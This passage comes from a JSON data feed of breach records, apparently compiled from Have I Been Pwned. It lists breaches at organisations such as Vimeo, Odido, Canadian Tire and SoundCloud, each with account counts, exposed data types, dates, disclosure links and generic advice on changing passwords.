addresses, Salutations, Support tickets. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-13T06:51:17.000Z","updatedAt":"2026-05-13T06:51:17.000Z","regions":["Global"],"vendor":"canadalife.com","product":null,"stacks":["Canadalife.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Canada Life","url":"https://haveibeenpwned.com/Breach/CanadaLife","type":"primary","publishedAt":"2026-05-13T06:51:17.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Canada Life disclosure","url":"https://www.canadalife.com/about-us/news-highlights/news/canada-life-recently-identified-a-cyber-incident.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-legionproxy","cveId":null,"aliases":["LegionProxy"],"kind":"breach","title":"LegionProxy breach: 10,144 accounts exposed","summary":"In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach . The incident exposed 10k email addresses, bcrypt password hashes, names and purchases.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-06; loaded 2026-05-06. Exposed data: Email addresses, Names, Passwords, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-06T10:11:25.000Z","updatedAt":"2026-05-06T10:11:25.000Z","regions":["Global"],"vendor":"legionproxy.io","product":null,"stacks":["Legionproxy.io"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: LegionProxy","url":"https://haveibeenpwned.com/Breach/LegionProxy","type":"primary","publishedAt":"2026-05-06T10:11:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"LegionProxy disclosure","url":"https://discord.com/channels/1236697205138788462/1239163077983735828/1500601065731653763","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-vimeo","cveId":null,"aliases":["Vimeo"],"kind":"breach","title":"Vimeo breach: 119,167 accounts exposed","summary":"In April 2026, the ShinyHunters extortion group listed Vimeo on their extortion portal as part of their \"pay or leak\" campaign . They subsequently published hundreds of gigabytes of data, predominantly consisting of video titles, technical data and metadata. The data also included 119k unique email addresses, sometimes accompanied by names. Vimeo attributed the exposure to a breach of Anodot, a third-party analytics vendor, and advised the incident does not include \"Vimeo video content, valid user login credentials, or payment card information\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-28; loaded 2026-05-05. Exposed data: Email addresses, Names. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-05T02:08:50.000Z","updatedAt":"2026-05-05T02:08:50.000Z","regions":["Global"],"vendor":"vimeo.com","product":null,"stacks":["Vimeo.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Vimeo","url":"https://haveibeenpwned.com/Breach/Vimeo","type":"primary","publishedAt":"2026-05-05T02:08:50.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Vimeo disclosure","url":"https://vimeo.com/blog/post/anodot-third-party-security-incident","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-reborngaming","cveId":null,"aliases":["RebornGaming"],"kind":"breach","title":"Reborn Gaming breach: 126 accounts exposed","summary":"In April 2026, the gaming community Reborn Gaming suffered a data breach due to a vulnerability in cPanel and WebHost Manager (WHM) . The breach exposed 126 unique email addresses along with IP addresses and Steam IDs. Reborn Gaming self-submitted the data to Have I Been Pwned.","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-30; loaded 2026-05-04. Exposed data: Email addresses, IP addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-04T03:43:06.000Z","updatedAt":"2026-05-04T03:43:06.000Z","regions":["Global"],"vendor":"reborngaming.net","product":null,"stacks":["Reborngaming.net"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Reborn Gaming","url":"https://haveibeenpwned.com/Breach/RebornGaming","type":"primary","publishedAt":"2026-05-04T03:43:06.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Reborn Gaming disclosure","url":"https://reborngaming.net/threads/6120/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-marcusmillichap","cveId":null,"aliases":["MarcusMillichap"],"kind":"breach","title":"Marcus & Millichap breach: 1,837,078 accounts exposed","summary":"In April 2026, the commercial real estate brokerage firm Marcus & Millichap was named as one of multiple alleged victims of the ShinyHunters hacking and extortion group . Data alleged to have been obtained from the company was subsequently released publicly and included 1.8M unique email addresses, along with names, phone numbers and employment-related information including employer, job title and physical company address. In their disclosure notice , Marcus & Millichap advised that data which may have been accessed appeared limited to \"company forms, templates, marketing materials, and general contact information\".","detail":"Verified by Have I Been Pwned. Breach date: 2026-04-12; loaded 2026-05-03. Exposed data: Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-05-03T22:53:12.000Z","updatedAt":"2026-05-03T22:53:12.000Z","regions":["Global"],"vendor":"marcusmillichap.com","product":null,"stacks":["Marcusmillichap.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Marcus & Millichap","url":"https://haveibeenpwned.com/Breach/MarcusMillichap","type":"primary","publishedAt":"2026-05-03T22:53:12.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Marcus & Millichap disclosure","url":"https://www.marcusmillichap.com/news-events/press/2026/04/marcus-millichap-releases-information-regarding-cybersecurity-incident","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-success","cveId":null,"aliases":["SUCCESS"],"kind":"breach","title":"SUCCESS breach: 253,510 accounts exposed","summary":"In March 2026, the personal development and achievement media brand SUCCESS suffered a data breach . The incident exposed 250k unique email addresses along with names, IP addresses, phone numbers and, for a limited number of staff members, bcrypt password hashes. The data also included orders containing physical addresses and the payment method used. In SUCCESS' disclosure notice , they advised their system had also been abused to send offensive newsletters with quotes falsely attributed to contributors.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-04; loaded 2026-04-01. Exposed data: Device information, Email addresses, IP addresses, Names, Passwords, Phone numbers, Physical addresses, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-04-01T06:51:14.000Z","updatedAt":"2026-04-01T06:51:14.000Z","regions":["Global"],"vendor":"success.com","product":null,"stacks":["Success.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: SUCCESS","url":"https://haveibeenpwned.com/Breach/SUCCESS","type":"primary","publishedAt":"2026-04-01T06:51:14.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"SUCCESS disclosure","url":"https://www.success.com/inside-success/security-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-soundradix","cveId":null,"aliases":["SoundRadix"],"kind":"breach","title":"Sound Radix breach: 292,993 accounts exposed","summary":"In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP . The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-25; loaded 2026-03-26. Exposed data: Email addresses, Names, Passwords. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-26T00:06:29.000Z","updatedAt":"2026-03-26T05:02:02.000Z","regions":["Global"],"vendor":"soundradix.com","product":null,"stacks":["Soundradix.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Sound Radix","url":"https://haveibeenpwned.com/Breach/SoundRadix","type":"primary","publishedAt":"2026-03-26T00:06:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Sound Radix disclosure","url":"https://support.soundradix.com/support/solutions/articles/5000900043","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-aura","cveId":null,"aliases":["Aura"],"kind":"breach","title":"Aura breach: 903,080 accounts exposed","summary":"In March 2026, the online safety service Aura disclosed a data breach that exposed 900k unique email addresses . The data was primarily associated with a marketing tool from a previously acquired company, with fewer than 20k active Aura customers affected. Exposed data included names, phone numbers, physical and IP addresses, and customer service notes. Aura advised that no Social Security numbers, passwords or financial information were compromised.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-06; loaded 2026-03-18. Exposed data: Customer service records, Email addresses, IP addresses, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-18T05:29:58.000Z","updatedAt":"2026-03-18T05:34:44.000Z","regions":["Global"],"vendor":"aura.com","product":null,"stacks":["Aura.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Aura","url":"https://haveibeenpwned.com/Breach/Aura","type":"primary","publishedAt":"2026-03-18T05:29:58.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Aura disclosure","url":"https://www.aura.com/press/release/statement-on-exposure-of-customer-information","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-divineskins","cveId":null,"aliases":["DivineSkins"],"kind":"breach","title":"Divine Skins breach: 105,814 accounts exposed","summary":"In March 2026, the League of Legends custom skins service Divine Skins suffered a data breach . The incident was disclosed via the service's Discord server, where Divine Skins stated that an unauthorised third party accessed part of its systems, deleted all skins from the database and exposed email addresses and usernames. The data also contained a history of purchases made by users.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-13; loaded 2026-03-15. Exposed data: Email addresses, Purchases, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-15T05:18:40.000Z","updatedAt":"2026-03-15T05:18:40.000Z","regions":["Global"],"vendor":"divineskins.gg","product":null,"stacks":["Divineskins.gg"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Divine Skins","url":"https://haveibeenpwned.com/Breach/DivineSkins","type":"primary","publishedAt":"2026-03-15T05:18:40.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Divine Skins disclosure","url":"https://discord.com/channels/1272878928368762996/1272879634488496138/1482141964559319210","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-baydoner","cveId":null,"aliases":["Baydoner"],"kind":"breach","title":"Baydöner breach: 1,266,822 accounts exposed","summary":"In March 2026, the Turkish restaurant chain Baydöner suffered a data breach which was subsequently published to a public hacking forum . The incident exposed over 1.2M unique email addresses along with names, phone numbers, cities of residence and plaintext passwords. A small number of records also included Turkish national ID number and date of birth. In their disclosure notice , Baydöner stated that payment and financial data was not affected.","detail":"Verified by Have I Been Pwned. Breach date: 2026-03-08; loaded 2026-03-15. Exposed data: Dates of birth, Email addresses, Genders, Geographic locations, Government issued IDs, Names, Passwords, Phone numbers, Purchases. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-03-15T03:36:43.000Z","updatedAt":"2026-03-15T03:36:43.000Z","regions":["Global"],"vendor":"baydoner.com","product":null,"stacks":["Baydoner.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Baydöner","url":"https://haveibeenpwned.com/Breach/Baydoner","type":"primary","publishedAt":"2026-03-15T03:36:43.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Baydöner disclosure","url":"https://www.baydoner.com/duyurular","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-odido","cveId":null,"aliases":["Odido"],"kind":"breach","title":"Odido breach: 6,077,025 accounts exposed","summary":"In February 2026, Dutch telco Odido was the victim of a data breach and subsequent extortion attempt . Shortly after, a total of 6M unique email addresses were published across four separate data releases over consecutive days. The exposed data includes names, physical addresses, phone numbers, bank account numbers, dates of birth, customer service notes and passport, driver’s licence and European national ID numbers. Odido has published a disclosure notice including an FAQ to support affected customers.","detail":"Verified by Have I Been Pwned. Breach date: 2026-02-12; loaded 2026-02-26. Exposed data: Bank account numbers, Customer service records, Dates of birth, Driver's licenses, Email addresses, Genders, Government issued IDs, Names, Passport numbers, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-26T23:25:29.000Z","updatedAt":"2026-03-01T05:34:14.000Z","regions":["Global"],"vendor":"odido.nl","product":null,"stacks":["Odido.nl"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Odido","url":"https://haveibeenpwned.com/Breach/Odido","type":"primary","publishedAt":"2026-02-26T23:25:29.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Odido disclosure","url":"https://www.odido.nl/veiligheid","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-canadiantire","cveId":null,"aliases":["CanadianTire"],"kind":"breach","title":"Canadian Tire breach: 38,306,562 accounts exposed","summary":"In October 2025, retailer Canadian Tire was the victim of a data breach that exposed almost 42M records. The data contained 38M unique email addresses along with names, phone numbers and physical addresses. Passwords were stored as PBKDF2 hashes and for a subset of records, dates of birth and partial credit card data were also included (card type, expiry and masked card number). In its disclosure notice , Canadian Tire advised that the incident did not impact bank account information or loyalty program data.","detail":"Verified by Have I Been Pwned. Breach date: 2025-10-02; loaded 2026-02-25. Exposed data: Dates of birth, Email addresses, Genders, Names, Partial credit card data, Passwords, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-25T06:53:25.000Z","updatedAt":"2026-02-25T06:54:20.000Z","regions":["Global"],"vendor":"canadiantire.ca","product":null,"stacks":["Canadiantire.ca"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Canadian Tire","url":"https://haveibeenpwned.com/Breach/CanadianTire","type":"primary","publishedAt":"2026-02-25T06:53:25.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Canadian Tire disclosure","url":"https://corp.canadiantire.ca/English/Cyber-Incident/default.aspx","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-betterment","cveId":null,"aliases":["Betterment"],"kind":"breach","title":"Betterment breach: 1,435,174 accounts exposed","summary":"In January 2026, the automated investment platform Betterment confirmed it had suffered a data breach attributed to a social engineering attack . As part of the incident, Betterment customers received fraudulent crypto-related messages promising high returns if funds were sent to an attacker-controlled cryptocurrency wallet. The breach exposed 1.4M unique email addresses, along with names and geographic location data. A subset of records also included dates of birth, phone numbers, and physical addresses. In its disclosure notice , Betterment stated that the incident did not provide attackers with access to customer accounts and did not expose passwords or other login credentials.","detail":"Verified by Have I Been Pwned. Breach date: 2026-01-09; loaded 2026-02-05. Exposed data: Dates of birth, Device information, Email addresses, Employers, Geographic locations, Job titles, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-02-05T00:29:45.000Z","updatedAt":"2026-02-05T00:29:45.000Z","regions":["Global"],"vendor":"betterment.com","product":null,"stacks":["Betterment.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Betterment","url":"https://haveibeenpwned.com/Breach/Betterment","type":"primary","publishedAt":"2026-02-05T00:29:45.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Betterment disclosure","url":"https://www.betterment.com/customer-update","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-soundcloud","cveId":null,"aliases":["SoundCloud"],"kind":"breach","title":"SoundCloud breach: 29,815,722 accounts exposed","summary":"In December 2025, SoundCloud announced it had discovered unauthorised activity on its platform . The incident allowed an attacker to map publicly available SoundCloud profile data to email addresses for approximately 20% of its users. The impacted data included 30M unique email addresses, names, usernames, avatars, follower and following counts and, in some cases, the user’s country. The attackers later attempted to extort SoundCloud before publicly releasing the data the following month.","detail":"Verified by Have I Been Pwned. Breach date: 2025-12-15; loaded 2026-01-27. Exposed data: Avatars, Email addresses, Geographic locations, Names, Profile statistics, Usernames. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-27T01:13:16.000Z","updatedAt":"2026-01-27T01:19:20.000Z","regions":["Global"],"vendor":"soundcloud.com","product":null,"stacks":["Soundcloud.com"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: SoundCloud","url":"https://haveibeenpwned.com/Breach/SoundCloud","type":"primary","publishedAt":"2026-01-27T01:13:16.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"SoundCloud disclosure","url":"https://soundcloud.com/playbook-articles/protecting-our-users-and-our-service","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-passsport","cveId":null,"aliases":["PassSport"],"kind":"breach","title":"Pass'Sport breach: 6,366,133 accounts exposed","summary":"In December 2025, data from France's Pass'Sport program was posted to a popular hacking forum . Initially misattributed to CAF (the French family allowance fund), the data contained 6.5M unique email addresses affecting 3.5M households. The data also included names, phone numbers, genders and physical addresses. The Ministry of Sports subsequently released a statement acknowledging the incident .","detail":"Verified by Have I Been Pwned. Breach date: 2025-12-17; loaded 2026-01-18. Exposed data: Email addresses, Genders, Names, Phone numbers, Physical addresses. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2026-01-18T16:26:12.000Z","updatedAt":"2026-01-18T16:26:12.000Z","regions":["Global"],"vendor":"pass.sports.gouv.fr","product":null,"stacks":["Pass.sports.gouv.fr"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: Pass'Sport","url":"https://haveibeenpwned.com/Breach/PassSport","type":"primary","publishedAt":"2026-01-18T16:26:12.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been Pwned: account count, exposed data types, and dates."},{"name":"Pass'Sport disclosure","url":"https://www.sports.gouv.fr/exfiltration-de-donnees-provenant-d-un-des-systemes-d-information-du-ministere-10048","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The organization's own breach disclosure, as linked by Have I Been Pwned."},{"name":"Have I Been Pwned breach API","url":"https://haveibeenpwned.com/api/v3/breaches","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:25:55.448Z","supports":"The breach list that supplied this entry."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:25:55.448Z","reviewedAt":null},"reviewed":false},{"id":"hibp-autosur","cveId":null,"aliases":["AUTOSUR"],"kind":"breach","title":"AUTOSUR breach: 487,226 accounts exposed","summary":"In March 2025, the French vehicle inspection company AUTOSUR suffered a data breach exposing over 10M customer records, though only 487k unique email addresses were present. The compromised data included names, phone numbers, physical addresses, and vehicle details such as make and model, VIN, and registration plate. AUTOSUR later issued a disclosure notice with further details.","detail":"Verified by Have I Been Pwned. Breach date: 2025-03-16; loaded 2025-12-18. Exposed data: Email addresses, Names, Phone numbers, Physical addresses, Vehicle details, Vehicle identification numbers (VINs), Vehicle registration plates. Counts are accounts in the loaded data, not necessarily distinct people.","action":"If you or your organization used this service, change reused passwords, watch for phishing that uses the exposed data, and check the disclosure for the organization's guidance.","publishedAt":"2025-12-18T05:09:04.000Z","updatedAt":"2025-12-18T05:10:18.000Z","regions":["Global"],"vendor":"autosur.fr","product":null,"stacks":["Autosur.fr"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Have I Been Pwned: AUTOSUR","url":"https://haveibeenpwned.com/Breach/AUTOSUR","type":"primary","publishedAt":"2025-12-18T05:09:04.000Z","checkedAt":"2026-10-26T18:25:55.448Z","supports":"Verified breach loaded into Have I Been 